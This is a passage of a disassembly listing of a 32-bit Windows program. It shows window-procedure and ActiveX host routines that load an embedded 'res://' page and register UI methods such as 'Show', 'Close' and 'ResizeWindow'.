		mov	eax, [ebp+14h]
		mov	[ebp-20h], eax
		mov	al, [ebp+0Ch]
		mov	[ebp-1Ch], al
		lea	eax, [ebp-48h]
		call	sub_40518A
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-48h]
		push	eax
		lea	ebx, [esi+3Ch]
		call	sub_4051B7
		push	6
		pop	ecx
		mov	edi, eax
		lea	esi, [ebp-2Ch]
		push	0
		rep movsd
		push	1
		lea	esi, [ebp-48h]
		call	sub_4055BC
		call	sub_40C50C
		retn	10h
sub_418122	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418186	proc near		; CODE XREF: sub_409FB8+FBp
					; sub_40A0E8+46p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, eax
		cmp	[ebp+arg_0], edi
		jz	short loc_4181B2
		push	[ebp+arg_0]
		call	dword_41D348	; IsWindowEnabled
		mov	[ebp+var_8], eax
		cmp	eax, edi
		jz	short loc_4181B2
		push	edi
		push	[ebp+arg_0]
		call	dword_41D284	; EnableWindow


loc_4181B2:				; CODE XREF: sub_418186+10j
					; sub_418186+20j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_18], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], edi
		mov	[ebp+var_4], eax
		cmp	dword_42DE28, edi
		jnz	short loc_4181D2
		mov	dword_42DE28, edi


loc_4181D2:				; CODE XREF: sub_418186+44j
		push	[ebp+arg_0]
		lea	eax, [esi+20h]
		push	eax
		mov	ebx, offset dword_42DDF8
		call	sub_406DD8
		pop	ecx
		pop	ecx
		movzx	eax, ax
		cmp	[ebp+arg_4], edi
		jnz	short loc_4181F4
		mov	[ebp+var_4], 56000000h


loc_4181F4:				; CODE XREF: sub_418186+65j
		push	eax
		push	edi
		push	edi
		push	[ebp+var_4]
		lea	eax, [ebp+var_18]
		push	offset dword_423AEC
		push	eax
		push	[ebp+arg_0]
		mov	ebx, esi
		call	sub_40691F
		cmp	[ebp+arg_8], edi
		jz	short loc_418225
		push	[ebp+arg_8]
		push	1
		push	80h
		push	dword ptr [esi+4]
		call	dword_41D288	; SendMessageW


loc_418225:				; CODE XREF: sub_418186+8Aj
		cmp	[ebp+arg_C], edi
		jz	short loc_418236
		push	[ebp+arg_C]
		push	dword ptr [esi+4]
		call	dword_41D280	; SetWindowTextW


loc_418236:				; CODE XREF: sub_418186+A2j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+10h]
		push	[ebp+arg_0]
		mov	esi, eax
		call	dword_41D334	; SetForegroundWindow
		cmp	[ebp+arg_0], edi
		jz	short loc_41825D
		cmp	[ebp+var_8], edi
		jz	short loc_41825D
		push	1
		push	[ebp+arg_0]
		call	dword_41D284	; EnableWindow


loc_41825D:				; CODE XREF: sub_418186+C5j
					; sub_418186+CAj
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_418186	endp


; =============== S U B	R O U T	I N E =======================================



sub_418266	proc near		; DATA XREF: sub_404725+127o
		push	20h
		mov	eax, offset loc_41C011
		call	sub_40C4D6
		mov	eax, [ebp+0Ch]
		dec	eax
		jz	short loc_4182E8
		sub	eax, 81h
		jz	short loc_4182C8
		sub	eax, 18Eh
		jnz	loc_4184A1
		cmp	dword ptr [ebp+10h], 1
		jnz	loc_4184A1
		mov	esi, dword_41D2CC
		push	0FFFFFFECh
		push	dword ptr [ebp+14h]
		call	esi ; dword_41D2CC
		mov	ebx, 10000h
		test	eax, ebx
		jz	loc_4184A1
		push	0FFFFFFECh
		push	dword ptr [ebp+8]
		call	esi ; dword_41D2CC
		or	eax, ebx
		push	eax
		push	0FFFFFFECh
		push	dword ptr [ebp+8]
		call	dword_41D2B4	; SetWindowLongW
		jmp	loc_4184A1
; ---------------------------------------------------------------------------


loc_4182C8:				; CODE XREF: sub_418266+17j
		push	0FFFFFFEBh
		push	dword ptr [ebp+8]
		call	dword_41D2CC	; GetWindowLongW
		test	eax, eax
		jz	short loc_4182DD
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4182DD:				; CODE XREF: sub_418266+6Fj
		call	dword_41D3B4
		jmp	loc_4184A1
; ---------------------------------------------------------------------------


loc_4182E8:				; CODE XREF: sub_418266+10j
		xor	edi, edi
		push	edi
		call	dword_41D3B0
		push	dword ptr [ebp+8]
		call	dword_41D308	; GetWindowTextLengthW
		mov	esi, eax
		lea	eax, [esi+esi+0Ah]
		cmp	eax, 400h
		ja	short loc_41831A
		call	sub_4160F0
		mov	eax, esp
		cmp	eax, edi
		jz	short loc_41832E
		mov	dword ptr [eax], 0CCCCh
		jmp	short loc_41832B
; ---------------------------------------------------------------------------


loc_41831A:				; CODE XREF: sub_418266+9Fj
		push	eax
		call	sub_40AEA5
		pop	ecx
		cmp	eax, edi
		jz	short loc_41832E
		mov	dword ptr [eax], 0DDDDh


loc_41832B:				; CODE XREF: sub_418266+B2j
		add	eax, 8


loc_41832E:				; CODE XREF: sub_418266+AAj
					; sub_418266+BDj
		mov	[ebp-18h], eax
		mov	[ebp-28h], eax
		mov	[ebp-4], edi
		cmp	eax, edi
		jnz	short loc_41834A
		push	edi


loc_41833C:				; CODE XREF: sub_418266+190j
		call	sub_401000
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_4184B3
; ---------------------------------------------------------------------------


loc_41834A:				; CODE XREF: sub_418266+D3j
		inc	esi
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_41D2C8	; GetWindowTextW
		push	offset dword_423A08
		push	dword ptr [ebp+8]
		call	dword_41D280	; SetWindowTextW
		mov	eax, [ebp+14h]
		xor	ebx, ebx
		mov	[ebp-24h], edi
		cmp	eax, edi
		jz	short loc_418379
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_418379
		movzx	ebx, word ptr [eax]


loc_418379:				; CODE XREF: sub_418266+108j
					; sub_418266+10Ej
		push	ebx
		push	42h
		call	dword_41D208	; GlobalAlloc
		mov	esi, eax
		mov	[ebp-14h], edi
		mov	byte ptr [ebp-4], 1
		cmp	esi, edi
		jz	short loc_4183C1
		cmp	ebx, edi
		jz	short loc_4183C1
		push	esi
		call	dword_41D210	; GlobalLock
		mov	ecx, [ebp+14h]
		mov	ecx, [ecx]
		inc	ecx
		push	ebx
		inc	ecx
		push	ecx
		push	ebx
		push	eax
		call	sub_401125
; ---------------------------------------------------------------------------
		add	esp, 10h
		push	esi
		call	dword_41D1EC	; GlobalUnlock
		lea	eax, [ebp-14h]
		push	eax
		push	1
		push	esi
		call	dword_41D3A8


loc_4183C1:				; CODE XREF: sub_418266+127j
					; sub_418266+12Bj
		mov	[ebp-20h], edi
		lea	eax, [ebp-20h]
		mov	byte ptr [ebp-4], 2
		mov	ecx, [ebp-14h]
		push	eax
		call	sub_4016D2
		cmp	eax, edi
		pop	ecx
		jge	short loc_4183FB
		push	dword ptr [ebp-20h]
		call	dword_41D25C
		mov	byte ptr [ebp-4], 0
		mov	eax, [ebp-14h]
		cmp	eax, edi


loc_4183EB:				; CODE XREF: sub_418266+1E0j
		jz	short loc_4183F3
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4183F3:				; CODE XREF: sub_418266:loc_4183EBj
		push	dword ptr [ebp-18h]
		jmp	loc_41833C
; ---------------------------------------------------------------------------


loc_4183FB:				; CODE XREF: sub_418266+171j
		call	off_42A000
		mov	[ebp-2Ch], edi
		mov	[ebp-1Ch], edi
		mov	byte ptr [ebp-4], 4
		mov	edi, [ebp-20h]
		push	edi
		push	dword ptr [ebp-14h]
		lea	ebx, [ebp-1Ch]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp-18h]
		call	sub_404675
		xor	ebx, ebx
		cmp	eax, ebx
		jge	short loc_418448
		mov	byte ptr [ebp-4], 3
		mov	eax, [ebp-1Ch]
		cmp	eax, ebx
		jz	short loc_418437
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_418437:				; CODE XREF: sub_418266+1C9j
					; sub_418266+201j
		push	edi
		call	dword_41D25C
		mov	[ebp-4], bl
		mov	eax, [ebp-14h]
		cmp	eax, ebx
		jmp	short loc_4183EB
; ---------------------------------------------------------------------------


loc_418448:				; CODE XREF: sub_418266+1BEj
		mov	esi, [ebp-1Ch]
		mov	eax, [esi]
		lea	ecx, [ebp-24h]
		push	ecx
		push	offset dword_423BFC
		push	esi
		call	dword ptr [eax]
		cmp	eax, ebx
		jge	short loc_418469
		mov	byte ptr [ebp-4], 3
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		jmp	short loc_418437
; ---------------------------------------------------------------------------


loc_418469:				; CODE XREF: sub_418266+1F5j
		push	dword ptr [ebp-24h]
		push	0FFFFFFEBh
		push	dword ptr [ebp+8]
		call	dword_41D2B4	; SetWindowLongW
		mov	byte ptr [ebp-4], 3
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		push	edi
		call	dword_41D25C
		mov	[ebp-4], bl
		mov	eax, [ebp-14h]
		cmp	eax, ebx
		jz	short loc_418498
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_418498:				; CODE XREF: sub_418266+22Aj
		push	dword ptr [ebp-18h]
		call	sub_401000
		pop	ecx


loc_4184A1:				; CODE XREF: sub_418266+1Ej
					; sub_418266+28j ...
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	dword_41D278	; DefWindowProcW


loc_4184B3:				; CODE XREF: sub_418266+DFj
		lea	esp, [ebp-3Ch]
		call	sub_40C520
		retn	10h
sub_418266	endp


; =============== S U B	R O U T	I N E =======================================



sub_4184BE	proc near		; DATA XREF: sub_404725+7Ao
		push	1Ch
		mov	eax, offset loc_41C056
		call	sub_40C4D6
		mov	eax, [ebp+0Ch]
		dec	eax
		jz	short loc_418540
		sub	eax, 81h
		jz	short loc_418520
		sub	eax, 18Eh
		jnz	loc_4186BC
		cmp	dword ptr [ebp+10h], 1
		jnz	loc_4186BC
		mov	esi, dword_41D2CC
		push	0FFFFFFECh
		push	dword ptr [ebp+14h]
		call	esi ; dword_41D2CC
		mov	ebx, 10000h
		test	eax, ebx
		jz	loc_4186BC
		push	0FFFFFFECh
		push	dword ptr [ebp+8]
		call	esi ; dword_41D2CC
		or	eax, ebx
		push	eax
		push	0FFFFFFECh
		push	dword ptr [ebp+8]
		call	dword_41D2B4	; SetWindowLongW
		jmp	loc_4186BC
; ---------------------------------------------------------------------------


loc_418520:				; CODE XREF: sub_4184BE+17j
		push	0FFFFFFEBh
		push	dword ptr [ebp+8]
		call	dword_41D2CC	; GetWindowLongW
		test	eax, eax
		jz	short loc_418535
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_418535:				; CODE XREF: sub_4184BE+6Fj
		call	dword_41D3B4
		jmp	loc_4186BC
; ---------------------------------------------------------------------------


loc_418540:				; CODE XREF: sub_4184BE+10j
		xor	edi, edi
		push	edi
		call	dword_41D3B0
		push	dword ptr [ebp+8]
		call	dword_41D308	; GetWindowTextLengthW
		mov	esi, eax
		lea	eax, [esi+esi+0Ah]
		cmp	eax, 400h
		ja	short loc_418572
		call	sub_4160F0
		mov	eax, esp
		cmp	eax, edi
		jz	short loc_418586
		mov	dword ptr [eax], 0CCCCh
		jmp	short loc_418583
; ---------------------------------------------------------------------------


loc_418572:				; CODE XREF: sub_4184BE+9Fj
		push	eax
		call	sub_40AEA5
		pop	ecx
		cmp	eax, edi
		jz	short loc_418586
		mov	dword ptr [eax], 0DDDDh


loc_418583:				; CODE XREF: sub_4184BE+B2j
		add	eax, 8


loc_418586:				; CODE XREF: sub_4184BE+AAj
					; sub_4184BE+BDj
		mov	[ebp-1Ch], eax
		mov	[ebp-24h], eax
		mov	[ebp-4], edi
		cmp	eax, edi
		jnz	short loc_4185A2


loc_418593:				; CODE XREF: sub_4184BE+19Dj
					; sub_4184BE+1A9j
		push	edi
		call	sub_401000
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_4186CE
; ---------------------------------------------------------------------------


loc_4185A2:				; CODE XREF: sub_4184BE+D3j
		inc	esi
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_41D2C8	; GetWindowTextW
		push	offset dword_423A04
		push	dword ptr [ebp+8]
		call	dword_41D280	; SetWindowTextW
		mov	eax, [ebp+14h]
		xor	esi, esi
		mov	[ebp-20h], edi
		cmp	eax, edi
		jz	short loc_4185D1
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_4185D1
		movzx	esi, word ptr [eax]


loc_4185D1:				; CODE XREF: sub_4184BE+108j
					; sub_4184BE+10Ej
		push	esi
		push	42h
		call	dword_41D208	; GlobalAlloc
		mov	ebx, eax
		mov	[ebp-14h], edi
		mov	byte ptr [ebp-4], 1
		cmp	ebx, edi
		jz	short loc_418619
		cmp	esi, edi
		jz	short loc_418619
		push	ebx
		call	dword_41D210	; GlobalLock
		mov	ecx, [ebp+14h]
		mov	ecx, [ecx]
		inc	ecx
		push	esi
		inc	ecx
		push	ecx
		push	esi
		push	eax
		call	sub_401125
; ---------------------------------------------------------------------------
		add	esp, 10h
		push	ebx
		call	dword_41D1EC	; GlobalUnlock
		lea	eax, [ebp-14h]
		push	eax
		push	1
		push	ebx
		call	dword_41D3A8


loc_418619:				; CODE XREF: sub_4184BE+127j
					; sub_4184BE+12Bj
		call	off_42A000
		mov	[ebp-28h], edi
		mov	[ebp-18h], edi
		push	edi
		mov	edi, [ebp-1Ch]
		mov	byte ptr [ebp-4], 3
		push	dword ptr [ebp-14h]
		lea	ebx, [ebp-18h]
		push	dword ptr [ebp+8]
		push	edi
		call	sub_404675
		xor	ebx, ebx
		cmp	eax, ebx
		jge	short loc_41866C
		mov	byte ptr [ebp-4], 2
		mov	eax, [ebp-18h]
		cmp	eax, ebx
		jz	short loc_418653
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_418653:				; CODE XREF: sub_4184BE+18Dj
					; sub_4184BE+1CDj
		mov	[ebp-4], bl
		mov	eax, [ebp-14h]
		cmp	eax, ebx
		jz	loc_418593
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	loc_418593
; ---------------------------------------------------------------------------


loc_41866C:				; CODE XREF: sub_4184BE+182j
		mov	esi, [ebp-18h]
		mov	eax, [esi]
		lea	ecx, [ebp-20h]
		push	ecx
		push	offset dword_423C0C
		push	esi
		call	dword ptr [eax]
		cmp	eax, ebx
		jge	short loc_41868D
		mov	byte ptr [ebp-4], 2
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		jmp	short loc_418653
; ---------------------------------------------------------------------------


loc_41868D:				; CODE XREF: sub_4184BE+1C1j
		push	dword ptr [ebp-20h]
		push	0FFFFFFEBh
		push	dword ptr [ebp+8]
		call	dword_41D2B4	; SetWindowLongW
		mov	byte ptr [ebp-4], 2
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		mov	[ebp-4], bl
		mov	eax, [ebp-14h]
		cmp	eax, ebx
		jz	short loc_4186B5
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4186B5:				; CODE XREF: sub_4184BE+1EFj
		push	edi
		call	sub_401000
		pop	ecx


loc_4186BC:				; CODE XREF: sub_4184BE+1Ej
					; sub_4184BE+28j ...
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	dword_41D278	; DefWindowProcW


loc_4186CE:				; CODE XREF: sub_4184BE+DFj
		lea	esp, [ebp-38h]
		call	sub_40C520
		retn	10h
sub_4184BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4186D9	proc near		; CODE XREF: sub_418A6B+21p

var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		push	0FFFFFFFFh
		push	offset loc_41C086
		mov	eax, large fs:0
		push	eax
		sub	esp, 41Ch
		push	esi
		push	edi
		mov	eax, dword_42A034
		xor	eax, esp
		push	eax
		lea	eax, [esp+434h+var_C]
		mov	large fs:0, eax
		mov	eax, [ebx+54h]
		mov	eax, [eax]
		mov	ecx, [ebx+3Ch]
		mov	[esp+434h+var_420], ecx
		mov	[esp+434h+var_41C], eax
		jmp	short loc_418740
; ---------------------------------------------------------------------------


loc_41871C:				; CODE XREF: sub_4186D9+76j
		mov	eax, [ebx+54h]
		mov	[esp+434h+var_424], eax
		mov	eax, [ebx+3Ch]
		lea	edi, [esp+434h+var_428]
		lea	esi, [esp+434h+var_420]
		mov	[esp+434h+var_428], eax
		call	sub_4052D2
		test	al, al
		jnz	short loc_418751
		call	sub_405E27


loc_418740:				; CODE XREF: sub_4186D9+41j
		lea	esi, [esp+434h+var_420]
		call	sub_4057C9
		mov	ecx, [ebp+arg_0]
		cmp	[eax+20h], ecx
		jnz	short loc_41871C


loc_418751:				; CODE XREF: sub_4186D9+60j
		mov	eax, [ebx+54h]
		mov	[esp+434h+var_424], eax
		mov	eax, [ebx+3Ch]
		lea	edi, [esp+434h+var_428]
		lea	esi, [esp+434h+var_420]
		mov	[esp+434h+var_428], eax
		call	sub_4052D2
		test	al, al
		jz	short loc_41877A
		mov	eax, 80004001h
		jmp	loc_418886
; ---------------------------------------------------------------------------


loc_41877A:				; CODE XREF: sub_4186D9+95j
		lea	esi, [esp+434h+var_420]
		call	sub_4057C9
		cmp	byte ptr [eax+30h], 0
		jnz	short loc_4187A4
		call	sub_4057C9
		push	[ebp+arg_8]
		mov	edx, [eax+28h]
		mov	eax, [eax+2Ch]
		push	[ebp+arg_4]
		lea	ecx, [eax+ebx]
		call	edx
		jmp	loc_418884
; ---------------------------------------------------------------------------


loc_4187A4:				; CODE XREF: sub_4186D9+AEj
		mov	eax, [ebp+arg_4]
		mov	esi, [eax+8]
		cmp	esi, 100h
		jle	short loc_4187BC
		mov	eax, 80070057h
		jmp	loc_418886
; ---------------------------------------------------------------------------


loc_4187BC:				; CODE XREF: sub_4186D9+D7j
		and	[esp+434h+var_410], 0
		push	3FCh
		lea	eax, [esp+438h+var_40C]
		push	0
		push	eax
		call	sub_40BD40
		add	esp, 0Ch
		dec	esi
		mov	[esp+434h+var_428], esi
		js	short loc_41880E
		shl	esi, 4
		lea	edi, [esp+434h+var_410]


loc_4187E3:				; CODE XREF: sub_4186D9+133j
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		mov	eax, [esi+eax+8]
		mov	ecx, 0FFh
		cmp	[eax], cx
		ja	short loc_4187FB
		call	sub_4178D6


loc_4187FB:				; CODE XREF: sub_4186D9+11Bj
		mov	[edi], eax
		add	edi, 4
		dec	[esp+434h+var_428]
		sub	esi, 10h
		cmp	[esp+434h+var_428], 0
		jge	short loc_4187E3


loc_41880E:				; CODE XREF: sub_4186D9+101j
		lea	esi, [esp+434h+var_420]
		call	sub_4057C9
		mov	edx, [eax+28h]
		mov	eax, [eax+2Ch]
		lea	ecx, [esp+434h+var_410]
		push	ecx
		mov	ecx, [ebp+arg_4]
		push	dword ptr [ecx+8]
		lea	ecx, [eax+ebx]
		call	edx
		cmp	[ebp+arg_8], 0
		jz	short loc_418884
		push	eax
		lea	eax, [esp+438h+var_420]
		xor	ecx, ecx
		push	eax
		mov	word ptr [esp+43Ch+var_420], cx
		call	sub_401304
		and	[esp+434h+var_4], 0
		push	[ebp+arg_8]
		mov	esi, dword_41D23C
		call	esi ; dword_41D23C
		test	eax, eax
		jl	short loc_41887D
		push	10h
		lea	eax, [esp+438h+var_420]
		push	eax
		push	10h
		push	[ebp+arg_8]
		call	sub_40B376
		push	eax
		call	sub_4010F0
; ---------------------------------------------------------------------------
		add	esp, 14h
		xor	eax, eax
		mov	word ptr [esp+434h+var_420], ax


loc_41887D:				; CODE XREF: sub_4186D9+181j
		lea	eax, [esp+434h+var_420]
		push	eax
		call	esi ; dword_41D23C


loc_418884:				; CODE XREF: sub_4186D9+C6j
					; sub_4186D9+158j
		xor	eax, eax


loc_418886:				; CODE XREF: sub_4186D9+9Cj
					; sub_4186D9+DEj
		mov	ecx, [esp+434h+var_C]
		mov	large fs:0, ecx
		pop	ecx
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_4186D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=20Ch


sub_41889D	proc near		; CODE XREF: sub_404BAF+Fp

var_248		= byte ptr -248h
var_244		= dword	ptr -244h
var_240		= dword	ptr -240h
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_210		= dword	ptr -210h
var_20C		= byte ptr -20Ch
var_4		= dword	ptr -4

		push	ebp
		sub	esp, 208h
		lea	ebp, [esp-4]
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+20Ch+var_4], eax
		push	30h
		mov	eax, offset loc_41C0B7
		call	sub_40C46D
		lea	eax, [ebp+20Ch+var_244]
		mov	esi, ecx
		push	eax
		push	dword ptr [esi+4]
		mov	[ebp+20Ch+var_228], esi
		call	dword_41D34C	; GetClientRect
		mov	eax, [esi+4]
		xor	edi, edi
		push	edi
		push	dword_42E350
		lea	ebx, [esi+30h]
		push	edi
		push	eax
		mov	eax, [ebp+20Ch+var_238]
		sub	eax, [ebp+20Ch+var_240]
		mov	[ebp+20Ch+var_22C], ebx
		push	eax
		mov	eax, [ebp+20Ch+var_23C]
		sub	eax, [ebp+20Ch+var_244]
		push	eax
		push	[ebp+20Ch+var_240]
		push	[ebp+20Ch+var_244]
		push	50200000h
		push	offset dword_423B24
		push	offset aAtlaxwin80 ; "AtlAxWin80"
		push	edi
		call	dword_41D290	; CreateWindowExW
		add	esi, 24h
		mov	[ebx], eax
		mov	[ebp+20Ch+var_234], esi
		mov	[ebp+20Ch+var_21C], edi
		push	ebx
		lea	ebx, [ebp+20Ch+var_21C]
		mov	[ebp+20Ch+var_210], edi
		call	sub_4053D6
		cmp	eax, edi
		jl	short loc_418936
		mov	eax, [ebp+20Ch+var_21C]
		mov	ecx, [eax]
		push	esi
		push	eax
		call	dword ptr [ecx+1Ch]


loc_418936:				; CODE XREF: sub_41889D+8Dj
		or	[ebp+20Ch+var_210], 0FFFFFFFFh
		mov	eax, [ebp+20Ch+var_21C]
		cmp	eax, edi
		jz	short loc_418947
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_418947:				; CODE XREF: sub_41889D+A2j
		push	104h
		lea	eax, [ebp+20Ch+var_20C]
		push	eax
		push	dword_42E350
		call	dword_41D1FC	; GetModuleFileNameW
		push	offset aRes	; "res://"
		lea	esi, [ebp+20Ch+var_21C]
		call	sub_4011E3
		lea	eax, [ebp+20Ch+var_20C]
		mov	[ebp+20Ch+var_210], 1
		mov	esi, dword_41D1F0
		push	eax
		call	esi ; dword_41D1F0
		push	eax
		lea	eax, [ebp+20Ch+var_20C]
		push	eax
		lea	edi, [ebp+20Ch+var_21C]
		call	sub_401260
		mov	edi, offset asc_423B38 ; "/"
		push	edi
		call	esi ; dword_41D1F0
		push	eax
		push	edi
		lea	edi, [ebp+20Ch+var_21C]
		call	sub_401260
		mov	eax, [ebp+20Ch+var_228]
		mov	esi, [eax+2Ch]
		push	esi
		call	dword_41D238
		mov	edi, dword_41D25C
		test	eax, eax
		jz	short loc_4189D2
		and	[ebp+20Ch+var_224], 0
		lea	eax, [ebp+20Ch+var_224]
		push	eax
		push	esi
		push	[ebp+20Ch+var_21C]
		call	sub_40AB90
		test	eax, eax
		jl	short loc_4189D2
		push	[ebp+20Ch+var_21C]
		call	edi ; dword_41D25C
		mov	eax, [ebp+20Ch+var_224]
		mov	[ebp+20Ch+var_21C], eax


loc_4189D2:				; CODE XREF: sub_41889D+113j
					; sub_41889D+128j
		mov	esi, [ebp+20Ch+var_22C]
		push	[ebp+20Ch+var_21C]
		mov	ecx, esi
		call	sub_40534A
		push	offset dword_4242D4
		push	esi
		lea	ebx, [ebp+20Ch+var_220]
		call	sub_404C9D
		lea	eax, [ebp+20Ch+var_248]
		push	eax
		mov	eax, [ebp+20Ch+var_220]
		push	offset dword_424394
		push	[ebp+20Ch+var_234]
		call	sub_4014D6
		mov	eax, [ebp+20Ch+var_220]
		mov	ecx, [eax]
		push	0
		push	eax
		call	dword ptr [ecx+100h]
		push	dword ptr [esi]
		call	dword_41D354	; SetFocus
		mov	eax, [ebp+20Ch+var_220]
		mov	ecx, [eax]
		lea	edx, [ebp+20Ch+var_230]
		push	edx
		push	eax
		call	dword ptr [ecx+48h]
		mov	edx, [ebp+20Ch+var_228]
		mov	eax, [ebp+20Ch+var_230]
		mov	ecx, [eax]
		add	edx, 34h
		push	edx
		push	offset dword_424384
		push	eax
		call	dword ptr [ecx]
		mov	eax, [ebp+20Ch+var_220]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		push	[ebp+20Ch+var_21C]
		call	edi ; dword_41D25C
		xor	eax, eax
		mov	ecx, [ebp+20Ch+var_218]
		mov	large fs:0, ecx
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+20Ch+var_4]
		xor	ecx, ebp
		call	sub_40AC1C
		add	ebp, 20Ch
		leave
		retn
sub_41889D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A6B	proc near		; DATA XREF: UPX0:00423FF0o
					; UPX0:00424C2Co ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 186A0h
		mov	eax, 80004001h
		jl	short loc_418A92
		push	ebx
		push	[ebp+arg_18]
		mov	ebx, [ebp+arg_0]
		push	[ebp+arg_14]
		add	ebx, 0FFFFFFDCh
		push	[ebp+arg_4]
		call	sub_4186D9
		pop	ebx


loc_418A92:				; CODE XREF: sub_418A6B+Fj
		pop	ebp
		retn	24h
sub_418A6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A96	proc near		; CODE XREF: sub_408D98+15p
					; sub_4091FA+15p ...
		push	4
		mov	eax, offset loc_41C107
		call	sub_40C46D
		mov	edi, [ebp+8]
		mov	eax, dword_41D278
		xor	ebx, ebx
		mov	[edi+4], ebx
		mov	[edi+14h], ebx
		mov	[edi+18h], ebx
		mov	[edi+1Ch], ebx
		mov	[edi+20h], eax
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		lea	esi, [edi+2Ch]
		mov	dword ptr [edi], offset	off_423FBC
		mov	dword ptr [edi+24h], (offset loc_423FD7+1)
		call	sub_4011E3
		mov	byte ptr [ebp-4], 1
		mov	[edi+30h], ebx
		call	sub_404725
		lea	esi, [edi+3Ch]
		push	4
		mov	[edi+38h], bl
		mov	[ebp+0Ch], esi
		call	sub_40B45F
		pop	ecx
		cmp	eax, ebx
		jz	short loc_418AFB
		mov	[eax], esi
		jmp	short loc_418AFD
; ---------------------------------------------------------------------------


loc_418AFB:				; CODE XREF: sub_418A96+5Fj
		xor	eax, eax


loc_418AFD:				; CODE XREF: sub_418A96+63j
		mov	[esi], eax
		mov	byte ptr [ebp-4], 2
		call	sub_406458
		lea	ecx, [esi+18h]
		mov	[ecx], eax
		mov	byte ptr [eax+49h], 1
		mov	eax, [ecx]
		mov	[eax+4], eax
		mov	eax, [ecx]
		mov	[eax], eax
		mov	ecx, [ecx]
		mov	[ecx+8], ecx
		mov	[esi+1Ch], ebx
		xor	ecx, ecx
		push	ecx
		mov	eax, offset sub_417C70
		push	eax
		push	ebx
		push	offset aShow	; "Show"
		mov	ecx, edi
		mov	byte ptr [ebp-4], 3
		call	sub_418122
		xor	ecx, ecx
		push	ecx
		mov	eax, offset loc_4071FE
		push	eax
		push	ebx
		push	offset aClose	; "Close"
		mov	ecx, edi
		call	sub_418122
		xor	ecx, ecx
		push	ecx
		mov	eax, offset loc_417A4D
		push	eax
		push	ebx
		push	offset aSettitle ; "SetTitle"
		mov	ecx, edi
		call	sub_418122
		xor	ecx, ecx
		push	ecx
		mov	eax, offset loc_417A38
		push	eax
		push	ebx
		push	offset aDragwindow ; "DragWindow"
		mov	ecx, edi
		call	sub_418122
		xor	ecx, ecx
		push	ecx
		mov	eax, offset loc_417A12
		push	eax
		push	ebx
		push	offset aResizewindow ; "ResizeWindow"
		mov	ecx, edi
		call	sub_418122
		xor	ecx, ecx
		push	ecx
		mov	eax, offset loc_417A04
		push	eax
		push	ebx
		push	offset aMinimizewindow ; "MinimizeWindow"
		mov	ecx, edi
		call	sub_418122
		xor	ecx, ecx
		push	ecx
		mov	eax, offset loc_417C42
		push	eax
		push	ebx
